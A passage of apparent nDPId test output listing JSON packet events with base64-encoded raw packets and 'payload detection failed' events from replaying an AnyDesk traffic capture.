Dp7qAXLxeewuxTIJUbZjXuul3+sumLmOkFuBWF9uz4u9k1Q6HxJU2cmqf8\/aX0B3tX7wxvhNTFGzC10mrMmndkj7pKdVhJYlgShGebByy6iqRXIN5VVRGDSOOeBo9VO"} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1542,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":5522} +02578{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1551,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977610,"pkt_ts_usec":539497,"pkt_caplen":1680,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":1680,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAgCFAAIAGAADAqAG7wKgBstOUG56PKRC0WcQ30FAYIBGExAAAFwMDBlVZ4hNO+msWQHMAIPsjrABz1rk307J7suGlLAKFw7cG5Jemy6jSibz40YlYP0ZZBvqINgyEPkoJaQUwXgn\/PqD47TbINSzj2NNwlrwyUa4zi7ATsFVEH942D7i6NGxEYT0vnF\/NqA93hm+5Y8omwq6g1vJYtrgO9og4kb5AZwG9S+hDkRZgd18tfgE6RR6UFCBlxbEMgbkaT3NyRF24r6Dh5o69r\/CPCowDZ3HaKJ70bx5\/Sf3TUlzu79Dej4V0qdV5ntLnJMlk0++H9640kN\/yf2rtWT2NpOl+cwxYtyNxwXJx0CtZXZYT9c2JDZ9xTvcPNYEnIU+hWvwgv7y6LExcKjlDBiLIOZHPy5w9\/+N42kCVfE6SgfSYFrxlqR0Vr4RfNAH3+8\/XQlj+CQ\/8aS7f1TnqLXxENKimj5AVYudSPVe2GjQJ7Vrl9DkurAHChhje5NmQQ\/ybZpR6banPhn2Qidqdm3p\/c2eDRFRkWzLcs5BJWhIX14fK0tqpHpuCccxt5t71xUYsEHnXaHfNpB+yEBIdTFdPfN6RSkV230aQblXDtAbiR1cCCIkPMejY72VfVWlDwKTIwDD2VXVfrWD+kROzyYGQXmVoZTrGNZTY6R2sG0ohgLKnCJxzGjiXrypAraB44y17YBCjCozUOCgP8SZbnRItuuFisqW5V6TKVivAOHFM8vYhvqZGLlWiitp+dcBzAg5a5sCXlSwGrAQLZlXV5YhYhlK2zTevKWOG5XxEtzGPKAovU2OhAgveQAEBLff43adLRDbu5EWMk6KNh9NmrxtWxrVBiJOvZhAcwknuIIes5RZAxpVMfAN9tEnXZUMszD0wscuEHhiek4Xvu\/mjp0Oe6kmcDsmMlnP877QqbhTU7mYR82C0g1jvpu29tZTIgMDvDv2o6tgZK7A52Cbd3GQmxv2Y6h4+KpF\/IlXM0pGoY42G2NDfQEGS\/EqiCNymJKFK3ofClshyYNkdIW8TpVQrTjkdX9Uj5SpGlMPTz1HevTsJ8MQtHbEsO+GoYpVVLOa00l5oQojzZdSd13t8nhP+hqPqjzkxwgy6Dlmh0sVFug8dtd2XWDSxcL2tf96jQEsVFfwJchln4KUAtVtHg22LfXwSogRl8pAitbfEKwzNbLhEm3R6794ETBq6zmTcYeCarGH1I3J5fUfHezbF1FNZn\/amgE3MnQueHbsf33KZLf3rllEmifvxqfvZgK+jdxXgkjvgx9l\/x6kUUMdhSKkYat5\/hwA9dHJPjgCins\/sNFqwjt1BKYxhAW0PDcP\/2fvRR6fXhp8X0q0nXcA2byfad4J9MiOh90UjNgB9EFUHw874vEodarR0pBsWEupQmj08Uh1\/+4JgB8Qvp1E4P0WQ8YJkQ0FS+v0wyj2wzhPNRBSf5YCF3lxi8iFFNiPy\/xOPbX3253i0pCxV4K8v7t+YCQ4uoxhRiz1PktDrypOWBxBM4LAG\/0y5cy1tlgB2afWZj4MotFeXwtRiKhT2jzyIgIkPJ4sIgSk556W6MKpTzh4QWIeOTgXztTS64OW867vfIkRP3QnbhZ0C5OCk7EUu7Ad7HUdm2XvSXiNSOog+YA+y7nSezJXgMC3s9321wMWhdr\/RmFIeSlbxHeOWnLkjtjPCDoTaWVdeQgz8pL3bSl\/ao81NZk2Q+eRsVhx0iolo\/tUQ2eYpGSVRpR2lF1LjfbmlC+779ppiEqEvvRWyEM39PAzfGhYsLe1mRG+EsOJIaXMB3PrcHSBAMHAatWaggKpJ2SAfYelWwG5WYwaoA6ucz54xBlwBM1Agz2uCkoKFUS\/tPaH9BP+AF6heO0iWyI6UD+lI9EpxUE64xk\/prIdqQfZnrIi7uRgZwaac95pSEyWQ7LVvIEbki+Gon8mNAQm49oMgQnqvKpvH4k42K\/nlZATT1sFh0vsf5m1ZT1zW8Z1CtPo3eFiVCBSkWfEL+ThOXkB3WfCjsqsxcdz9o6evUZVqFi\/r4xHDenXKwKmxSPROBWNDVe+8Z\/JMydQbEXJbMXBG+MJGLvfeqyumTRMCvnqzO8iqEvEnXcQ1oYAkRDAuW2raqoitE5vgi4YyfoPqB5gczl+5sFOxT7gxJq4KYW\/LBM5coExVmAAoM7ZzR8YJAp1oJg\/kYiziwNdCaDUh\/Im525a8NNjorA\/c"} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1551,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":1646} +02946{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1553,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977610,"pkt_ts_usec":539656,"pkt_caplen":1950,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":1950,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAgCRAAIAGAADAqAG7wKgBstOUG56PKRtoWcQ30FAYIBGExAAAFwMDB2NZ4hNO+msWQnWcQ26qQr\/9i5paU5kNMPCSLnpJsQNg4FKYzPsZ0MJ+XGISi84MC0\/hfL70NcWXw0KW97lG1rgyU1gxNd5Ux0WctqeFOHLI5JOMg3xDy678rNBH+Dc6co2FqZrZAQ4lHOLM+gyBjnFiP\/FJELmSE8O7gvLDBQbJ\/2cqsyekNPH0VjYAMKmSGxGIkMGjg2dhYKjVCJUXvFhB1MdcvR0zLpj2dTJ8yINTw+FTw0ygFxpyy\/RvaxcSnBp06KTJPB2rwD1s0wKkB0zKjobrb7Noj6+wlB6Xw1Q3+gEOxOZllhMs36UMBWig7yvtBqxWwkwvevSJn+uWgNpv5ege+yQcdnpFKD16y7o5VyAg5NVFLw64kgF4qiE2XRFpfAzaPzmOa1v6mGWbZrR0BTOkszoE3TgiMvac5sVrvIAWOGzB+Y6Tn6Xm04rvgjnmxfKn5VwWY+en3dcdK38c4fiRQJCzIiz438mRnPrXuU7HoWaa3ocCYGbBViusJhwOpsGGQFKo4le3CcxBW5\/kgMvcv5SHokbVemn4GXpCPvla56mH6KA\/MdShefIacxwFL9AboMhmQN\/I9hAGceLeNgHttEp+Nu0VmetfPzZnPb0JLdjhYLqHIYLF3aQahcTBwN9MUbbiRVEHF1+6JnlTonE+4rc6duUrlTh35bJJRu9y2Om9WFxAxZ4DNbc09ylGJZrb\/jU4jHbhcpa5E9OqgfknMTojpPufjGv6PZZXq4mPY\/zmhK1lGNIHYOLEPUHdhKIie5Y7fxibwL7r1hBsFObY8QGh9S+QxWZfABeT2t05p69DR13hgPyJwE2Nt\/++VsnXG9wBBrTOeLYeKSLSrWPSPLxn1um\/RsBKEShFQ4kS\/C7LU9y2gL5dqHh2nPx1V7fciT7dWr82DvKcS4GXwl5glhDDJh35VtGdcHA+H+MQxZ0iqsI\/y6WNBum+WJXVddGZcaXt7tzfdlDRrBgs8w7MgJqYjaHVGafFqvJVMU8K5xl+6LjaDDkODS8\/4vIBXmZ\/8b0lWxvr8RktbVpJuyRjM1vz3CuSLngePTy3M7HHpx7zgZJd5TYTsW8IClCL19esgB\/ptC+wfXkItiyHPCY8csBTLQayVAN\/vgZ8IiXblhqswwmPOYfNPHsNcMCTFnrV+bbhOhUXLkvJ6rUT68UYPGZjz3REbvLweXHFtyJJXBDZDIw2+2EWjcwjVEXcthUVT4zmToXCNg3SIZh3L1Z2CKkusWYwbdnF1E1LbasYnxmClZGtztyEwLIYFTtyiMDu6vwmgBFMAEVX4OR+8T+G4qb3VFR2qU+grqt+Tjk2fF873M\/EaQbxKcIyjWwnPEtAIaPhoKvXckUdu891lVRG1LZtvRLWi6vYEq9iMaQdk4Be8kgtrwvK0ux+l8BgOSBq\/MPGOMVMTRJ3Dt0p4y9fn0uK7nQrFD3ZRIRgMK5D1aA4YCcxHmvbhpXBKieGlNhDCHyoL\/hx8tydPWl36iSr46R84BhtwFMhG\/tcOc\/tC0HvzT7UmSEdJylAdIYsyWueEmPco1dm0zqvLaYOrNWeJlZ0A701pRJ2C6KP2OX\/QY+FmJUpLDMBH\/l7uGzzqARXcKaBuuUilyslf91+PHzX+yfSE299jl0LrmX3NP5\/ZYZWnxAdriVt77WeULdO3viHa2f87ZT5ChDbbWNJV8cr4hOJQbJF4Rd3kEA\/AueHVA8bXT7FwuIL1egy6H2fBoxs7xbLG8y2aRNUFzfy1LD\/ij1ONo40g9ARx8psxxqfp2beahDixQWnrumUqmcXSbmdMr+4b8zwWa4+FJSLLNyOYLmwwiogfU\/amNECMiNXHwVIGxIE4zZHWswhlEP9PS82QWfGkDqKz9wATbAjelR\/aeoS1wRju9MesVeCLQxTYd+AilvG4G\/21myXnpgseIJb+PggWGlzIsxcNMzvSo3eA24D4wYJqASxKqYg9yrqDgn9rApicLUBHLfBw\/6D6yhDVUvmvqcxMfL2W5Cy92UsGt6JF+iV9eUWTUwXth14a\/sEqlgXWhLjupYL5twCk5Zf3vbaCxVQ\/wE1z2n6vKJFBCT1C+F87IckN7zpQ39Y13lZfIlTEmFvfv1stIVbanF62NKQe0TQ2ka2KCQtdCdZs5iylbmw+Lhdfi1FTZHbNgPmH8MNUbwP9fZ5QesTXuzInijr\/CnLbPWqLSSkdhpr9hfn1dExxXJ3goLtSHuqyfsDZapgqnNDQaN6UTAm9jhMJEwNH+oA9kz7Vnobd30aV5EFKf07zELZhUDgh+aVH4fk9PevhYeiundzgj5Te3sVZ0rsryzeR67M4YbGgXGhfgFDeO9VS1zPw4Jn05G8te4m453oJ1jtyJ2mnF1xi+GHnAKwJY0A4B6U2ziKdEWsOhiO7eucDnv55k\/5Q1hdvVFBAMA94J3s\/dDjqtnTpXRkPcJO9vYY1eRROnR7tDu2O3VwwUImX\/dlTo3TaTVwC\/od+Au2lqaS+DZ593Dd5H\/k1MbcmmkvRs\/2COMDEGkV"} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1553,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":1916} +04159{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1554,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977610,"pkt_ts_usec":539717,"pkt_caplen":2842,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":2842,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAgCZAAIAGAADAqAG7wKgBstOUG56PKSLQWcQ30FAYIBGExAAAFwMDCt9Z4hNO+msWQzqfco+1kX\/slW61tQJLpeOsXXdRiJRLE020pzwgtGu0SU0mxPZaQDCg8y3XHnKBh+8PAfjsiUBuHQNMZMXaZh0W9sZe+K0+c\/SqQ4p3ty8Wn0kHFIuGl5C7xXGKQqvSLL9esz6nchEkca0hhumOxbD4V4+C7Iq4EAiAPFVm5ZVLaxlzzE+wAhAxV569\/SKiAUvOzyK9w1ZZCsX27\/s9MoxVsAiGM9yxnKcxFDeMnlwr9DffM\/rbPvg\/IKtvCj4sopYshKdL7u\/zJ4Nh6L9Esnzi0F2GgpFySRJUUL8EAv+7sV86V\/SGYYQFR0cOj2eLZGlABGfS\/NgZN9rEtrqdhRZhGi4QDuPT7+MDXmYtMv50+49gclhjJw1PPNIvtRVBOaU1Ra89+GsIt1saL4uHTuOMJ0wr9IPBkt2yKaYsyXanljfSG8Svmudb4TULVXA\/2clXEc1f616ypmLdYeUoAuAMNMpeQuQx+RidQW6\/BoJaqlJd2\/WxQ4e1Bh0N8\/YrrgNNT+1hVKHxBxbMQ0EY3ZG5ljez4+wL9Jq3u7FjvU3cSKVKcpVW9jMe8o\/qoldz\/cD62EFL9BYhknmFQJ\/EgNbG8eBaTxoINYeFPu7VagoJ5OsHgrjcLJ9LCTyEwwGB+HerVdN7eseChF8nUBBWYVA422wVYErUVerkgvEiEKXdiOg5B4dSCDhANeD8RvXtcThvpVTqmYWF7BjXA\/z6nNZoRJCIvr7Qb\/BMNZ9NeujNjBWbzG0G85EbnQ1yjcz1Vna+uitQFjS\/xZphcM6+NiVar+W\/zGb5YFO+CBUM6qwKG3ssT5XzPxTgQvCs0I9VBbuVWjJDXfaKk9WGBm82CNrlujKgXl+fJ9RnQ5565WWxfVXZtZLEnlnqqA9qKj1BMj3qPwWMIt7K339owri2ulG5BPpjthMBzucogTEcWEao9N2OAfw9awf\/dIfrYOurlAVmq7uzQW\/Ii3BEqFYQhJFkGJO9eDaDIeQgGDpfh4g1cKzxTzJ+y3JU1eF1xeh+k7hfYDWbZRKw3lwiaud1qih+KfXQCkFbx+IgqSDEpFapAwfcv5ngCq6koMPHdrvia5mvLuQr4C5g0h6ByGkYbqgCNveRTZDce9TicGo4ynB4tWM26qRly\/RH\/HfEMemd6F3WUbR7Ifvb\/qqDs3egokI2VVG0AtkQm05FeE9gpsfAH3Xj\/NHuSkiBtgnfCzfdb0LRS9seunwdwENtpP2y9p6WBE8OJuFsl5uf3C\/3dPNe3GjMtP2wrYsLq\/K0K3ReDGUNBnN60U4f6YvMSsbZQRNqiruiiUCshZRwO1e+qd1oK+Gf5ygphF8\/Y7lKgThpeKzSkCE0q4hrka8UJX\/DT9d5ru2TIzU6Lt+hwhAjIKzd9hTyYaS9lgDY0LhSUaL1aRp7eHo1dWc\/Ity019ODvM5cSxwQcR89pXAzkautdgAIc3e4wdhAao9e9NwrHDQbDxaXydNVe4T9RWNHXbHZXQtBLaI5ca6+qF7l60o4Su2MfVqD4\/ZG3eTVDTouYnYq9UJUg14rMipZNoX453GtS5phyJjAeotSKtD3igZ1H0AaDlqP2S+ev+jXTU5+5Z2JNc3T9dTmbU6Eng4VH2f8TzYLX1YaltCTAmvjqoaZCBZ1rImyepQ4gLoSx2zyEyFv5YLvMop+gpoJxHnc8oaFdiTwSQdEiwIPbgCDFEaZ3ODRqw0FD+pXGKP\/PDE\/BOqEY0f2W8jMOCb+\/cGt4fy5basorkBtqVIj7SEry7sXp85FFauvCqQFfk3MlSVZRRPxHnCvNiyUcdg5PO\/ds\/+ZrcZbtMIYijiFEdQhEwn42BewOw4cBi+DDO0U+bH9etZS\/wA560BxX6jXaqW7WVzOijpySQjdDoGzfB7uNIbhAGS2e7OpjCWbwdxN08Oq9EL0cLpKVn7ROCj\/gY79KAiMMp7Ao+Gqp56rzDdbT+JgXxOAEEumylB4jQsKjAHCY+YQmVBBxo77qb9uljQqsI6FKE01YTfwup1Ouiq\/3iuH8uhqansA0EI8JAGTjVTahiKybOiMKr+fRlJ\/OzYj5lSwtXa+u89BrwpSdLxdrxTCKM9\/2fLHFh4LuQ1PJdYwU1etYw6RByxqfneEa729V83soCO81q\/CFzPTbJmA54aTPVm9GImZnssTui33t7plPJBVRuTXsufx0f4P6GFghoYH6t4DdTkFWwc5O293V7qtKgyIAz3ZKdYh+xXAQPo5c8lfejoFkUxhnZ5Ru3tm19b0FxBidJ8R3hNI+ZOpVEb3TanrN2DTv8BkHz+vfqja1raLHf9xNLpxMLWU2bM7fZJgHXDLEzQVvjSb28+YuMJg4oeJDn3eaYR55rBskoDmQd4zJHdBWNbFXl\/13TRcyN4sPK+Afvx\/SdxX2ElPeJRkplfKG9IpfdSfh6p73olhWe3\/IFKbtaGU+DkYADdgEJf4pV5NH8OMQjZwNKLwNYiUrYiWIr+QTlhP0tsSR5riob7KNGtHEjzUcwjG66NfNn7z1rCmAS5nl\/QVtbriYduHvIz0smRemq9PPOB+3txMOo0Uso0+I0IcerIzLnXDyKxpyGxYfiJ5KU3x8F7Tnh\/AwYlTB32RUE4qr381l11bv1NnuBgSgqUU17kjXeqLgMySQyl07VpgLSiJ9AfM\/yk3XfOnQyd47dLEEb0YnEngJvnf0oNXjGONjK7eirHGXFPU7dYten4nInMVEWbkDTutk7qgpKTigkAuSqkjzra6emx41vH12\/DPfsSOMWEthY9F1+jLinjUfKsWJJSsCR3oq9MK3UpQ2FT4iVCOLlKe+vdvWx9IRSTlH+noaq\/ivrceOyK1gPkdjURYji3NxXschU20fuUX9vlZvx\/nqBlt3IFJzIxMreWSFcnTBsbqfqfCKI8fJGTFNyKiaoE2tS7sldmQuNax9GipbeUP2zIsH57G9oORCtlth4Jt94gYeXQg5rlid4IIISmYuzssoqW9nx+s1edINRdxD3cKxUx3kmraeSwU8zbeFfCAGFTHgA1uX2T3nzNAYlKpf1t9mfwfBjHO9vuTTZXidAbS9ZX1RkqSsizlsdxEFKGcdJFmmjU1RWZEpPpqktrpksXbwJDf5iZ04s2nLE+dqUK7KFGbMIpq3HLgCckfcij9ibPsxDNbAB9YE83TN2irrONqikzS9CCp4g4TZ\/NQwE97Sx0v2JGTreBBIzfEx26BQjxPd3Nb1C3GAg5TkNZ6EwBU5m3DygXtZyGp7YmBY++plG3p6rVNHacD1rzHSRCa5syahhAvoNqctEgaG9fGYJURZJSNGWJXwQ4kvtD5IHpOKzpeRcdQd++bpn5IkekedcG8AllbbJAquHf2sEP0rvAc7LUvXUyhh4pWXIRxzE+gxfcMgZQ+LDXeLQ86LVTU\/dvYgH5QLJEzwDF2LG1IyCPEyeuj5pM1diCLX9h\/EfshJJcQBPwfTQNuwMnms5gKdHwyPy5cdCnu\/b695MExZkQovNsOYqLNuR0\/7fEj6\/tFGn1hyGREysbjFuwAw\/bm85rxqMBv2NkAd2W9Ccwjd6NVDX\/XiPoUFwtbiSLsOu99BA3Yc\/w+f7rnPLzh1kc0xe3mHsCPr4Y1j\/REAEpSO9yF5guIkvM8lN0pHsHnfoFtPE47nJiBUx28sJ7OPRcOnnngM1YggZYwaSklZmxxnDdeOeM+QxJX33gLGGtcVg=="} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1554,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":2808} +06399{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1563,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977610,"pkt_ts_usec":570038,"pkt_caplen":4495,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":4495,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAgDBAAIAGAADAqAG7wKgBstOUG56PKS20WcQ4LlAYIBCExAAAFwMDEVRZ4hNO+msWRNqkvzRJQjJ5Mn96y7QrOiVl\/bI\/Jq6JELmRY1T\/AA1ran9IKA65gNvlB5PP5\/71lPQDChozife+Q2mju3zZM0G+\/aikCWhQTyD+GCBmuixRAVb7t5XEOE43u3ujAe0ixuMES94HDo7k+YTb3ZPQNhtAKWi05me0YL6mcV6yUHTkEUho\/me54mOhaoCccA5bY2htYfJxXR0SnmGK\/0+tR0iZAFsoGO1cvi\/Kqz1yBrfJY8oML2DABp2+tpR5u7WA27jr8jzJg4K0jbbVUMDOWE0ruZi2o3xPHn5KTieOcS7XQ7vhw3cMphG5Ra3JDqnjplNrKhNvEPGM4mbJBOxqaJUdkAcaJI4sjZS\/MdxEWBLvi1oYZV5lI0Q+A\/l248eBD3ehYgiivbshBGr+AqB+ePJMFwh4pXdLsUQGjxZ17n7Pk4S6DYK7EiJd63d7CnZDyvRfEJ6wVYUFFRTiHfK5\/v\/\/uzvV\/WVwQKPpb8LS+mRtqZbxMu1Ak6yhkILrtSfgIYucLNFP+w0Hj2vVH0NezWRnJ3a9o5Jvv0VsHL6HIel3pgguR\/LBcjDINdiPvdKrtHarEc6ZlubhehUNgPLPyFbo2WDqWTNMTehDZyyftP5lcV9Kv9udBxGmN56C0WBUMoPMemoFGFedH6nopmnTvXSlbgnGd45vvPXu6bIV2kDD4my022cPkPiNmbyfbvARHZaGPBw2hh27wh8coU4ka43RgaQYv3PXbWyE5sz7dMkq8RYnYqT1n0VCxmywbjkURz55zzfp4A70PrJELJnq4lJIQArzvl5D+sCrdUl1j+\/w3aGTpO5ETAe9kE+DAavCT0gcMxbnW3p6XP9lx7NXHnbQuK\/F3JGp9TkJBnbPPAr5a0lohU78d8oXTimvWlMVEOLsDQzuYBHe1I+Z55X2OR0c\/\/SI4B\/2Wn+NxqIxaPJAsES0gDtbav+lPDAeXDkGDT9LiEIVX044doxkZ10FPN9yj4q1xaiveR2+e1SHGemZvhMEHe4R7SolxBkFBDQmmA+QBF5CvzfNoBJgRYK8Ci7IGt20tgSGebe9Un5HxVtgYG7h1B627Hg4YJTC5rknlO6IvPet5VmxmmshwR94jxMGYblnTFpeWTIB0\/ybi++RF5O\/xyKcn3Kma2Ca8yrCb1mNtiHJpNfIVop9LT4wPtEtGSuXC5+JupCb4ubN5OLhOyKoSS+ZqA\/N736y\/9FNzedrD19ZhFEkQLlOkGvMVGTsBxuhUCLS30uCayMMc8FUk2m3WCXjD\/f6Z+Fp4KZevcA6kcss94GlOmqb6\/t7Jy0objoYj2PXH1nsG7DxXnKPaeXvflLmAxaMnbKBurM38MGKlOx8UN5dDxXzwDXxfk6mUkHGuZAKEnKLkA79Wbkao5hvlZXuUXJX7VwGqxm3MqvmLr0Qd+CoVi+2dwuR9L2a\/OPwnUbG1sgvslxHN++DPXqvNdC142DCKQS38Yi+jZ2tsNRgkdg1fQppRo5FoyKl\/JAudj\/QKHG\/H4pE+iWM0XIwtFSeZW0R7phPXS7uJ7ANxn0QpYQ\/CIRRgP0S8d1kBZnqSWn0yYpl\/FdkRcNpLpm4zZ3JIyYR4GTNQdkscm2aI74X2rz81JwLRuoNfYeiwEMkowz7snMz1bCcszAQik11WrfJKo+k6XmWi1dYf1DnLEAAjifn1U1\/18qW2wtxYkwBbUqSQ\/wTTzv8yL2N6e6Eo0YTODlAWzbKVN7fZfE2mcDjeGja2IgBYArpZNjM79IugKpVU\/B2xbJ\/jf8UsyGnNN2YR4GDEZIxNOj9oa0ecrAf1nvywJeoYmCtOMidanUQCuPRbLGznckU50egmMBaphX87e1b3JQFaQSW1BgRvOfe5jZnhFzRomU\/bj7Bs3+ImENDwRqwgkaBdriZnLXZXShe8BamETvpckjfvNpu9\/UmeXqb0uv9XziIcOo89qMbVXS0GykMTBzaKK5YEbky4p7YUZHsUzv9UR4GYSK89PVVcdWKs4GZ\/3UGOlI70eXSV39UKd8o+gFMkGxZQXarDfadXr284+dQUbyrhgLNMSzRB0D1dovyH9d3mh2ciziz06QDbfywJADm+gc9tnxBBpCdJcFOFSBWWDh6TBH\/YsrzW\/A9FwN1AmPJKk4pnAPArUYPiIaZshhti3sNFClK7QtqUTHZZvCF6v\/ZXelQlmK6fcX3Jmmqqvl8ki239I1k0Ln6r27KaG66cvQOe28jHzflG3S2XSNkxrqw1LQM2ImC0TXGKYD9OXZjTU6kaax8f5ZO2wicEOsD756cPTU1DaRsXvlVCj0AyEL0GNQxkalTh9KlM5\/\/BCEoDDDw53qbNKtthadqL147A4al8PXnYO86tZK14PNw8dqHrFskYVsOehCDULrXdh7yqjgBrsM\/bFtZbvrrD3j61A2XfDvT5cQsgZ\/SNcnyJhC3Rbu8ClHzmP0uUdECgmDT0YBBVUsxx+BAxkXPP1WDna0HNv+ltg7QRMin\/DQ\/qfNiLZ46hsiRmJ1r5hvSKwDQLr7zkIGfg\/kYMlkE9qlO0xQs2Rsa3NNSFgyd9tQhJTQvIGAVLHJY1wSpDGnIXY05\/wLNpzPyyFQF2x+0INNJaLWMJRzcqVp72IABa8Ahc5qZ2+\/kyB\/c2D+VuPPq1uqv6dGT8Z5i3K6MRGV33iouFQqd2iBdfwVtr9+DluKLykhdxmYjVcSLBLYxVtDnYNj4SEWqppUD3KPac3RjeUDMi+PZby+q7LBQgKLmQHuRE4zsBpWsLJXTENFYzr0hDFZJkAP1bfx+7PMZOlHhwrJooW6ubjUyB1+GOC9SiZ4scTYaUinGQT1EFtIKlrX1Llu2KoiPda5N+K88T4zMVozbpKDG58b7tbpO37ivMHHd\/pfK5bg\/qxpujt13leO7VzCmkkINtaSsARJkcHH394AI6z46WyYOG5RqML4rdsN5WIJ5tXpb1qgOP4w2NItt4yuo5GxhuhwlfnNHuI+gfZO+ZvD1Ttm9baA4Rf1+0VlMH80xg\/PwOb\/B1ofjWWDa7hHvOF2X1j7bHwvDvt4FOCVZbH09Qvec43esIGH\/TM1Bpkk\/65t2i2EzPH7sBMesr4fTEqoLEyU35+0MlpzabbLXfSmJFqaMzCUZ2XQhZisMdzKxD4sXsNammSqPDA9e26hDWS\/WdbwCLsxjVmSeDRpJ00B4j2i7AZBrh8fXiTfO0x+Er9lDPXQmZvFBjajY4aToLyeYJqkSmPLIJHUV95kQQ8P0y0mh+V1amu6brE+\/R71c5DwfUswGd0p+wypgATDRUISWDgiJhzp5dyLbTetMT3qIQAs3oSTqs4eKvUDIeB324lEvr\/IMfekVLr9rJ942J6qSfQXUQJzJCpIv9wM6rycnUEMXSSNvqXn0cxaprE1biOyCkHA9+\/b7axCkDeH6jl0Q0B9C1\/4rBiTbAFxNCOdMcyeynPO8nO3aqRtQo7E7Rs0\/iLSTVrf1Xp98HPXlK68dcxTroROaERZSw+me8rL79ONvc9FsmSyDjeC1BwkfCP8\/RdEDMhJXxHurmexK07\/5mECSqjYOTUKxT48VeH9yK4EptuHcq0R5tC8dduWl+9iI61hJv5M+OwwxdZYyTYyRABw5TdNd7gcOcCOR6buefV1\/sFpwpcNcgTKhw1l6IAa1o9kyUhdiIhOBwdbELZxnUdo07nBwttx2vm\/Lr1rLhaLkzZ6iwkMzZMuFHiflvs1gDkqo71beDFFuTmvYDwvPda6SCteISfcO6UQ3kxnFUokwLlQJ84k27\/rMaKWZF3hSB71NUn6cRFi2cL5KKT2GWfPxW7CGFSCEXOCTBfMUXlyGTbdrTdc3nN66cEsCt466FRmG+RKfJjegGa0Hw4YAkl1N0uZl6cb0S3+R00k0ouciZ9I3iliE68x\/MlR44n7c6FbxhOh+VZAWR3Q9VIuYUlm1dkXueb21RdHHjC34bsdaFuEJM98y6wjsjlP+mOHfOfg5w+H+EK3kZf7ozniAk5h7JwoDnq5ARqiljMTlwjEIOS\/aWY4W3ioNkkBJKQJAhzKTtmyUgycN2+j7mp8v\/Cp3PbNgh\/VRohg42BB3+dVOHPe9a6km+gZX4f9yjw0HKpavrfvxKqYWVL1p50rPU\/gWtUKcYRI4M\/NnQegeR1M3zLJzb\/pW8gjO0XOdCVsZDp0dg9OMef6YvapGZujsl7wdASseJnFtDxQZ9vxFP3aVRLHaMq9maWOJHV2iYG7advDdVP9nlGaWStWqrbET9rZjCjkhXGRGXS5CxahYS2HQCKNaA5P4IpmXZC7MuHc7sqokQkKuohTwbRr2NBxI8gNMocjOGdaGCjTButcubIvgknHhfMBbFhVgiGl43yFqgrEywSzW9QeBmQ5cgyH9lOasm\/k5lhatFVfwxCAzF2XD7mA5iP6hFlBbkIMJyZLBwhNFQpvnwhilpmyWfrU5seM+GsCYC41ZtTA+MuCoByqBX9LUPqkVZEtEqblHboKbPonckANbaIY5rSpCgeVXQaGEEHsgjfoO8MF8t6ORb\/7\/xQ+h1b9cp1Bva06wLhvjqqb6O\/CJUuWPaIr6WG0cpEc\/d8httgvMImn9R3QQWTKWklw5ipei+4FDLud8mZFanTOki2bEwP1+lqeVVbSdTCIlziu9nTc6etFpHfMZKCxF+eTE\/nzPA56bsIOQ1DKcXW04gFEwVxChUJfjeSDJ1Yab7MbuSP7LnWZveARaTxCCxzL6J1QWVnbjlcjCKd0zaKGDKtSDIuPtpDBy5g6N19iEAdY7OpE83IEMd8zb2cOogQHrFt4XohoK++T3F\/z+VDQCTc4ULRsIrjCllsul0Tccsh0xt1hsSTfVs15FeugipBfZk4tQshohA3k2owuBAJO5bLwtuvSUlFVG\/B1C0bh3XSUr3pVyyCaCRkcc5DzA2STbypFv7G8OXAUNVwyuulR3xWZ6Ucu3bg3AwsIE51h8\/MgDrgJurrWG5WZNefJzKmb1YIPqKObqx22A4en55EDkyXCqAaOuEZs3MH\/IJCcJr3DLW+JssLzs+\/lZJuCDJvGYKICREO5iI3pQ+Oj2waxGMsjPXLCsp84mGvyDMNo5vMRu9jVdSk\/KRFCQvmfctSGFGJBYE357DiQIYuoQoXrQZgedFG1uuJPtquynErkpKjs6Ht7Yro6LbaosPNTSxXTiMv4su3SDwwCjzVz2O96ZVMRNrFr98ZrJOV09pT4T00X5o\/Kf3rdf4V\/KERauZJUGvgXkgbAMKQjcEzpv55njyotfHW3rrPpn6RTnE9pAKtNZDoVVYHXuBHE\/epr7Yl7C4EoVc0NZe\/3ZIFal5VtymH81ZBI\/GMITXZeRR66NIoS4ZeUUbLQes\/3ACaOWQDolQWGXEFaQeMWP9jBheBCZZIxeOIrbp44GO92bUiJWSIaLn91rqdgklWJ5rjn6Jf4bbeATOtcv6bUpzljTt0yj2kOI2jSbGzetcIPVG8P23J85Tag6p+0aqNiBg2eyVjZFznlD1utvRy698NrozUumZ4MWETgMMpy8TNX4ty5bU4cfi225YeQsjwqQ669Bja3mZptWPi8I9irTK9X5uqKmPdr5hULPy2MYwxt9PWGBQvNXChrwVPyJX5awy2gm\